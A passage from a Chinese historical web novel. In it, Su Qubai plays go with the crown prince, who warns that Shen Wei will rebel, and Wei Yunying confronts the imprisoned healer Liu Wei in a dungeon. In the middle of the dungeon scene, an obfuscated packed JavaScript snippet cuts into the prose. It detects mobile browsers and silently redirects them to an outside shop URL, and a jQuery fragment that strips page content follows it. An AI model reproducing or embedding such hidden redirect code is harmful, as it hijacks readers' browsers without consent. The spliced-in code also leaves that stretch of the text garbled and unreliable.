常瞑河显然不信:“为什么找你不找我?” 苏瞿白嗤笑一声:“你不知道为什么?” 常瞑河闭嘴了,他的发言真的很可恶。 他确实是个臭棋篓子,朝廷中谁人不知谁人不晓,但常瞑河偏偏就喜欢。 不能说他喜欢下棋,而是一切附庸风雅、风花雪月的事物他都喜欢。 耳边只有呼啸的风,苏瞿白支着腿看向远方,眼眸黑沉沉的,氤氲着墨色。 她那里下雪了吗? 45. 相互试探 常瞑河显然没打算放弃,又道:“殿下找你到底说了什么?你快和我说说,我心痒痒,抓心挠腮的难受。” 苏瞿白的思绪被他打断,见他那股执着劲儿冷声说:“聒噪。” 常瞑河嘶了一声,要不是顾及他身上有伤,这巴掌早就落到他肩上去了。 整顿一番,众人重新上路,此时他们已经到了幽州边界了。 伴着寒风,苏瞿白渐渐想到今晨殿下对他说的话。 冬日天总是亮的晚,尤其是今日天阴阴的。 苏瞿白才睁眼,太子殿下身边的侍从就来了。 他给伤口换了药后穿上厚厚的裘衣,想了想还是将腰间的刀取下,如此一番才随着侍从去了主院。 河东节度使府占地辽阔,每处落脚地都是精心打理过的,摆放的错落有致的花草,贯穿后院的池水,雅致的四角亭和蜿蜒曲折的廊道。 而李恪所在的主院便是府上最为精致奢华的院子,是常瞑河专门为他留出来的。 李恪、常瞑河和苏瞿白从小便认识,他们二人都是太子伴读,深受太子器重,称得上是太子的左膀右臂。 主院有一座还算精致的假山,正对着院门口,使人瞧不清里面境况。 苏瞿白到时无需通报,走进便见李恪半睁着眼,看着池中不太欢快的锦鲤。 “来了。”这话说的有气无力的,苏瞿白知道他这是还没睡醒。 他见礼后问道:“殿下找臣何事?” “没什么大事,就是昨日睡前想到一别数月,好久没和你下过棋了。也算是所念所梦,今晨早早就醒了,念着你马上又要去幽州数日不能见,便让人将你唤来了。”李恪招招手,身后的人立马将棋盘摆上。 苏瞿白坐到他对面,他执白子,李恪执黑子。 无言的下了半局,李恪幽幽叹息:“数月不见,棋艺退步了?” 苏瞿白看着棋局上被围堵的白子,自是清楚李恪这是在敲打他。 他的心思根本没放在这上面,一心就是去幽州救人,李恪看出来了。 “是殿下棋艺精进了。”苏瞿白这话听着像恭维,但是语调平平的。 李恪笑了下:“你也学会打趣人了。” 他们三个人,常瞑河是出了名的臭棋篓子,他的棋艺说不上精湛,但也不常输,而苏瞿白的棋艺是最好的。 他下棋向来是步步紧追,杀的对方丢盔卸甲才好。 不像是下棋,更像是行兵布阵。毕竟,下棋对盛京那群老酸儒来说是件极其风雅之事,注重修身养性。 曾有朝中大臣与苏瞿白手谈时被气得说不出话来,浑身颤抖差点就晕过去。 而今日这盘,他不仅不追还处处是破绽,心里没装事是骗鬼的话。 苏瞿白也不下了,一双狭长的眸就盯着他:“殿下,您不该来。” “我得来啊,要不然盛京会有人不痛快啊。”李恪嘴角含笑,眸中发冷。 他此行一来是如梁温猜测那般为自己添上一笔丰功伟绩,一来是为某些人腾地方,好好让他们威风一把。 引蛇出洞,待宰而杀。 “沈巍要反了。”李恪收敛起通身的随和,与苏瞿白说起正事。 苏瞿白早就有所猜测:“预料到了,这段时日又是戒严又是清理内探的,动静太大了。” “你说他会不会和关外勾结?”李恪眼尾上挑,眼角下压,很是有压迫感。 苏瞿白沉默一瞬:“不知道。但我私心上希望他不会。” “我也是。”李恪轻呷了一口茶,眼睫遮掩了他眼里的情绪:“苏瞿白,料理了沈巍后,幽州便交给你了。” 苏瞿白的手一下收紧,没接茬:“那是殿下的,是皇家的。” 李恪听这话笑了:“你紧张什么,我说的是真的。幽州地处边界,常年外敌来犯,得需要好的将领来镇着。沈巍是天生的将才,可惜啊——” “如今朝堂上文盛武衰,实在不是良景。那群废物,都是一群吃干饭的,迟早解决了那群老酸儒。” 苏瞿白没法接,这不是他能说的。 他只需做好自己身为臣子的本分就行了,其他的,不归他管。 李恪见他实在没趣,也失了兴致:“行了,差不多该启程了。你去吧,常瞑河应该在等了。” 苏瞿白退下后回了一趟院子取刀,往府外走时正好和追风陈虎两人撞上。 他没带上他们两个,而是留在府上守着梁温。 正失神着,常瞑河一把扣住他的手腕:“马骑这么快还敢分神。” 苏瞿白定睛一看,快到关山了。 他们一行人下了马,将马匹系在树上,就这样遮遮掩掩上了山。 老鼠摆着尾巴,躲在墙角瑟瑟发抖,圆滚滚的眼睛看着对面垂涎欲滴盯着它的男子。 一只手快速掠过,老鼠重重的吱吱两声跑掉了。 叹息声响起,柳薇抬眼看了眼捉弄老鼠的元岐:“你还是省些力气的好。” 元岐愤恨地倒在稻草堆里,他怎么也没想到沈巍口中的好好伺候竟然不是各样的刑罚而是断水断粮。 柳薇面色苍白,她见元岐捂着肚子蜷缩在一起。 起身去向一边,元岐没注意,他在幻想各样的吃食。 想着想着竟觉得鼻尖真有食物的香气,他睁开眼,发黄的馒头出现在他眼前。 元岐坐起身,舔了舔起皮的唇,讪讪问道:“哪来的?” “我用药和别人换的。”地牢常年湿潮,加上进来的人大多都经历过酷刑,身上早就有陈年不好的伤了。 元岐是真心佩服她了:“你的药还随身携带啊?” “医者习性罢了,也就几瓶,都换出去了。”柳薇示意地上盛着水的破碗,几瓶药换来一口水和一个干硬的馒头,真是最不对等的交易了。 元岐没接:“你自己用吧,反正我身上有毒,早死晚死都是死。” 柳薇掰了一半给他:“没毒,早解了。你跟在我身边第二年中秋节时,我便将解药混在你吃食里了。” 元岐一听,也没什么力气跟她掰饬:“之后那几年你都是在诈我啊,早知道我就跑了,省的搁这儿跟你玩命。” 元岐直接接过那半个馒头啃起来,柳薇笑了一下:“就是诈你啊。” “算了,看在这馒头的份上,不跟你计较。” 元岐和柳薇将吃食一分为二,馒头一人一半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055140|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水也一人一半。 就在两人用完后,地牢外传来响动,柳薇就那么打眼一瞧,有些发愣。 是卫云颍。 卫云颍身子依旧不大好,地牢的空气中弥漫着灰尘,她闷闷的咳着,崔嬷嬷心疼的为她拍着身子。 “嬷嬷,你先下去吧。” 崔嬷嬷有些踌躇,最终还是出去了。 柳薇站起身来,上前两步:“你不该来的。” 卫云颍觉得这话有些好笑:“自身都大难临头了,你竟然还关心我。” 柳薇不说话了,她本来也不是个话多的。 “我来只是想问你一句,接近我就是为了利用我是吗?” 柳薇不屑说假话:“一开始是。” 卫云颍又问道:“后来呢?” 柳薇又不说话了,卫云颍这回没问了。 “为什么?”卫云颍想不明白,往日她待柳薇如同亲妹,不曾有过一丝一毫的怀疑。 柳薇依旧沉默。 卫云颍自嘲道:“也是,现在的我对你来说没了利用价值,你自是不想理我。” 话落,她又闷闷的咳起来,帕子捂着鼻,缓了好一会儿。 “没有。您若是想知道一切大可以去问沈巍,但我想,您既然来了,想必也知道了吧。” “你这步棋走的不好。”卫云颍面色柔,即使冷着脸也不见多少怒意:“你应该连着我一块报复,或者下药将我和沈巍直接毒死才是。” 柳薇哪里没想过,不过她想要的不是这个,她要的是沈巍身败名裂的死去,她要沈巍付出应有的代价。 毒死他,太便宜他了。 “地牢脏污,下次别来了。”柳薇张口就是轰人。 其实她和卫云颍挺像的,都是孤苦之人。只不过,卫云颍身边还有无条件爱她的沈巍,而她只有她自己。 “确实不会再来了,我想要的都问到了。”柳薇其实没回她什么,她也没问什么,但是柳薇的沉默就说明了一切。 卫云颍其实没那么难受,这远不如她丧兄丧子之痛。 直到,柳薇从怀中掏出一张药方来:“这是之前为你新配的药方子,本想给你却没来得及。你拿着吧,自己的身子自己得负责。” 卫云颍接过,一眼没看,攥成一团。 “你是不是觉得我很可怜?” 柳薇并没有那样觉得:“不,我只是觉得你可以对自己好点。” 卫云颍终是没有将手中的药方扔掉,沉默的转身离去。 刚出地牢时,对着门口守着的人道:“给柳薇和元岐放膳,若是有人问起,就说我的意思。” 卫云颍这次彻底走了。 地牢里,柳薇坐了回去。 一直当聋子瞎子的元岐嘟囔了一句:“你还真是多情啊。” 柳薇听见了,暗自笑了一下。 只是她们太像了。 沈巍在她这里被判了斩立决,但卫云颍又没什么错。 她无罪,她也无罪。 有罪的到底是谁,柳薇也分不清楚了。 可能,站在各自的立场上,他们谁都没错。 如果非要找出祸源,那大概是这个世道错了。 46. 梁家灭门